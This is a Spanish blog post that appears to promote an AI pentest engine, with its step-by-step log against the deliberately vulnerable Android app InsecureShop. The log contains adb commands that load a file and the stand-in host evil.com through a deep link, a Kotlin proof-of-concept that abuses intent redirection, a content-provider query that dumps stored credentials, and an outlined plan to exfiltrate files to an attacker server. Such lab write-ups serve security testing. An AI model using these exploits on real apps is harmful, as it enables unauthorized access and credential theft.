Pentesting con IA: un análisis a fondo de la redirección de intents en Android
Este artículo muestra el proceso con el que el AI Pentest Engine de Ostorlab analiza una aplicación Android en busca de vulnerabilidades de redirección de intents. Siga el recorrido del motor, desde el análisis estático y los primeros hallazgos hasta una rigurosa validación dinámica, y compruebe su capacidad no solo para identificar posibles amenazas, sino también para descartar meticulosamente los falsos positivos.
El AI Pentest Engine de Ostorlab está diseñado para replicar el complejo proceso de varios pasos de un investigador de seguridad humano experto. No se limita a ejecutar un escáner y a informar de su resultado: formula hipótesis, las pone a prueba y valida sus propios hallazgos.
Para ponerlo a prueba, dirigimos el motor contra la aplicación Android InsecureShop con el objetivo de probar vulnerabilidades de redirección de intents. El objetivo de probar una clase de vulnerabilidad lo define un módulo de inteligencia de amenazas que identifica todos los riesgos y el contexto que se debe probar, pero de eso hablaremos en publicaciones posteriores.
Lo que siguió fue un proceso de pentesting elegante y rápido. El motor de IA descompiló la aplicación, identificó componentes potencialmente vulnerables mediante análisis estático y, a continuación, intentó validar rigurosamente cada hallazgo mediante análisis dinámico y aplicaciones de prueba de concepto.
Esta publicación documenta el flujo de trabajo completo y sin editar del motor, y destaca no solo su capacidad para encontrar errores críticos, sino también, igual de importante, su capacidad para confirmarlos o descartarlos.
Generación del plan de pruebas
El primer paso del motor de IA consiste en desarrollar una metodología de 10 tareas con los siguientes objetivos:
- Identificar todos los componentes exportados de la aplicación y sus filtros de intents
- Analizar el tratamiento de los intents en busca de posibles fallos de redirección
- Hacer fuzzing de los componentes con intents maliciosos para provocar un comportamiento no deseado
- Desarrollar aplicaciones completas de prueba de concepto para las vulnerabilidades confirmadas
Desglose del plan
- Descompilación del APK - Extraer el archivo AndroidManifest.xml, los recursos y el código fuente para mapear la superficie de ataque de la aplicación
- Análisis de componentes - Enumerar todas las activities, los services y los broadcast receivers, centrándose en los componentes con
android:exported=true - Documentación de los filtros de intents - Documentar las acciones, las categorías y los esquemas de datos de cada componente exportado
- Revisión del código fuente - Examinar los componentes exportados en busca de patrones en los que se crean objetos Intent o se extraen de los extras de los intents recibidos
- Preparación del entorno - Instalar la aplicación en un dispositivo de pruebas con las herramientas de registro y supervisión habilitadas
- Elaboración de intents maliciosos - Crear intents con intents anidados incrustados en los bundles de extras para probar las capacidades de redirección
- Pruebas de escalada de privilegios - Atacar componentes no exportados mediante intents anidados para comprobar si es posible un acceso no autorizado
- Supervisión del sistema - Supervisar logcat y el comportamiento de la aplicación en busca de señales de una redirección de intents exitosa
- Desarrollo de PoC - Crear aplicaciones Android que demuestren el impacto en la seguridad mediante la elaboración de intents maliciosos
- Documentación - Documentar los hallazgos con los componentes vulnerables, los intents maliciosos utilizados y el código fuente de la PoC
Razonamiento paso a paso del motor
Descompila el APK y analiza meticulosamente el archivo AndroidManifest.xml. El objetivo es crear una lista completa y definitiva de todos los componentes exportados (activities, services y broadcast receivers). El resultado esperado es una lista de nombres de componentes marcados con android:exported="true".
Paso 1: run_decompile_apk:
- Nombre de la herramienta: run_decompile_apk
- Argumentos:
apk_path='/REDACTED/InsecureShop.apk'_
AndroidManifest.xml:
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" package="com.insecureshop">
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<application android:debuggable="true" ...>
<activity android:name="com.insecureshop.WebViewActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="insecureshop" android:host="com.insecureshop"/>
</intent-filter>
</activity>
<activity android:name="com.insecureshop.WebView2Activity" android:exported="true">
<intent-filter>
<action android:name="com.insecureshop.action.WEBVIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
<activity android:name="com.insecureshop.PrivateActivity" android:exported="false"/>
...
<provider android:name="com.insecureshop.contentProvider.InsecureShopProvider" android:readPermission="com.insecureshop.permission.READ" android:exported="true" android:authorities="com.insecureshop.provider"/>
<service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>
</application>
</manifest>
Hallazgo 1: inclusión de archivos locales en WebViewActivity
El análisis estático de WebViewActivity.java y de su entrada correspondiente en el manifiesto llevó a la IA a formular una hipótesis: se podía engañar a la activity para que cargara archivos locales mediante el parámetro url de un URI personalizado, lo que indicaba una posible vulnerabilidad de inclusión de archivos locales (LFI).
A continuación, la IA pasó a validar esta hipótesis.
Paso 1: Trigger the Webview
- Nombre de la herramienta: adb
- Argumentos:
shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://evil.com
Paso 2: Result Observation
- Nombre de la herramienta: run_take_screenshot
- Salida: Successfully captured 1 screenshots.

Paso 3: Create Test File
- Nombre de la herramienta: adb
- Argumentos:
shell echo <html><body><h1>Vulnerability Confirmed</h1></body></html> > /data/local/tmp/validation.html
Paso 4: Attempt to Load Local File via Intent
- Nombre de la herramienta: adb
- Argumentos:
shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/local/tmp/validation.html"
Paso 5: Result Observation
- Nombre de la herramienta: run_take_screenshot
- Salida: Successfully captured 1 screenshots.

Hallazgo 2: redirección de intents en WebView2Activity
El análisis de com.insecureshop.WebViewActivity reveló una vulnerabilidad de inclusión de archivos locales. El archivo AndroidManifest.xml muestra otra activity exportada, com.insecureshop.WebView2Activity, que se activa mediante la acción personalizada com.insecureshop.action.WEBVIEW. La siguiente tarea es investigar esta segunda activity de WebView para determinar si comparte una vulnerabilidad similar o presenta otros fallos en el tratamiento de los intents.
A continuación, la IA analizó WebView2Activity, una activity exportada que parecía lanzar cualquier Intent que se le pasara como extra Parcelable llamado extra_intent. Este es un patrón clásico de redirección de intents, que podría permitir a una aplicación maliciosa lanzar componentes no exportados.
Para validarlo, la IA construyó y desplegó una aplicación maliciosa de prueba de concepto diseñada para explotar este fallo y lanzar la PrivateActivity no exportada.
Paso 1: Build and Install PoC
Nombre de la herramienta: run_build_app
Argumentos:
Imports:
import android.content.ComponentName
import android.content.Intent
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
PoC Application Code:
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val maliciousIntent = Intent()
maliciousIntent.component = ComponentName("com.insecureshop", "com.insecureshop.PrivateActivity")
val wrapperIntent = Intent()
wrapperIntent.component = ComponentName("com.insecureshop", "com.insecureshop.WebView2Activity")
wrapperIntent.action = "com.insecureshop.action.WEBVIEW"
wrapperIntent.putExtra("extra_intent", maliciousIntent)
startActivity(wrapperIntent)
}
}
Nombre de la herramienta: adb
Argumentos:
install /REDACTED/pentestingApp-debug.apk
Salida:
Performing Streamed Install
Success
Paso 2: Launch PoC and Observe
Nombre de la herramienta: adb
Argumentos:
shell am start -n com.example.pentestingapp/.MainActivity
Salida:
Starting: Intent { cmp=com.example.pentestingapp/.MainActivity }
Nombre de la herramienta: run_take_screenshot
Salida: Successfully captured 1 screenshots.

Hallazgo 3: fuga de credenciales a través de InsecureShopProvider
Tras haber encontrado vulnerabilidades significativas en dos activities exportadas, ¿hemos reunido suficiente información para comprender las principales debilidades de la aplicación, o una investigación más exhaustiva de otros componentes exportados, como el content provider InsecureShopProvider, ofrecería una imagen más completa de la postura de seguridad general?
La IA identificó un content provider exportado protegido por un permiso de nivel normal, lo que sugería que cualquier aplicación podría consultarlo. El análisis estático de InsecureShopProvider.java indicaba que devolvía credenciales de usuario almacenadas.
Se identificó un content provider exportado, com.insecureshop.contentProvider.InsecureShopProvider, como una posible fuga de información. El provider está protegido por el permiso com.insecureshop.permission.READ. Sin embargo, el permiso está definido sin un protectionLevel, que por defecto es normal, lo que significa que cualquier aplicación puede obtener este permiso en el momento de la instalación sin interacción del usuario. El código fuente del provider sugería que consulta y devuelve credenciales de usuario almacenadas en SharedPreferences.
Evidencia del manifiesto:
<provider
android:name="com.insecureshop.contentProvider.InsecureShopProvider"
android:readPermission="com.insecureshop.permission.READ"
android:exported="true"
android:authorities="com.insecureshop.provider"/>
<permission android:name="com.insecureshop.permission.READ"/>
El código de InsecureShopProvider.java muestra que el método query devuelve un cursor que contiene el nombre de usuario y la contraseña almacenados en las preferencias compartidas de la aplicación, ignorando cualquier criterio de selección.
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
Intrinsics.checkParameterIsNotNull(uri, "uri");
UriMatcher uriMatcher2 = uriMatcher;
if (uriMatcher2 != null && uriMatcher2.match(uri) == 100) {
MatrixCursor cursor = new MatrixCursor(new String[]{"username", "password"});
String[] strArr = new String[2];
String username = Prefs.INSTANCE.getUsername();
if (username == null) {
Intrinsics.throwNpe();
}
strArr[0] = username;
String password = Prefs.INSTANCE.getPassword();
if (password == null) {
Intrinsics.throwNpe();
}
strArr[1] = password;
cursor.addRow(strArr);
return cursor;
}
return null;
}
Paso 1: Query Content Provider:
Nombre de la herramienta: adb
Argumentos:
shell content query --uri content://com.insecureshop.provider/insecure
Paso 2: Analyze Output:
El comando devolvió valores para los campos de nombre de usuario y contraseña.
Row: 0 username=shopuser, password=!ns3csh0p
Yendo aún más lejos
Exfiltración no autorizada de archivos mediante UploadService
Analiza el service exportado net.gotev.uploadservice.UploadService. Revisa su código fuente para comprender cómo se puede activar y qué parámetros acepta. El objetivo es determinar si una aplicación maliciosa puede elaborar un intent para iniciar este service y obligarlo a subir archivos locales arbitrarios desde el almacenamiento del dispositivo.
Por último, el motor identificó un service de subida de archivos exportado que una aplicación maliciosa podría activar potencialmente para exfiltrar archivos privados. Un exploit exitoso requeriría elaborar un objeto Parcelable para pasarlo como extra de un Intent.
La IA intentó construir una aplicación de PoC con este fin. Sin embargo, las herramientas disponibles no admitían la inclusión de la biblioteca de terceros (net.gotev:android-upload-service) necesaria para construir los objetos requeridos.
El net.gotev.uploadservice.UploadService se declara en el AndroidManifest.xml con android:exported="true", lo que lo hace accesible para cualquier aplicación del dispositivo.
<service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>
El UploadService está diseñado para gestionar subidas de archivos en función de los parámetros pasados mediante un Intent. En concreto, acepta una cadena taskClass y un objeto Parcelable llamado taskParameters. El service no realiza ninguna validación de la aplicación que lo invoca ni de los parámetros del intent.
Una aplicación maliciosa puede construir un Intent que especifique una clase UploadTask válida (por ejemplo, net.gotev.uploadservice.MultipartUploadTask) y proporcione UploadTaskParameters que contengan:
1. Una URL de servidor arbitraria controlada por el atacante.
2. Una ruta a un archivo sensible dentro del almacenamiento aislado de la aplicación InsecureShop (por ejemplo, /data/data/com.insecureshop/shared_prefs/Prefs.xml, que almacena las credenciales de usuario).
PoC Build Attempt:
{"tool_name": "run_build_app", "content": "AssembleDebug failed: ./gradlew assembleDebug\nError: e: ... Unresolved reference: UploadTaskParameters"}
Sin la capacidad de construir la PoC, no se pudo probar la vulnerabilidad.
Conclusión: no concluyente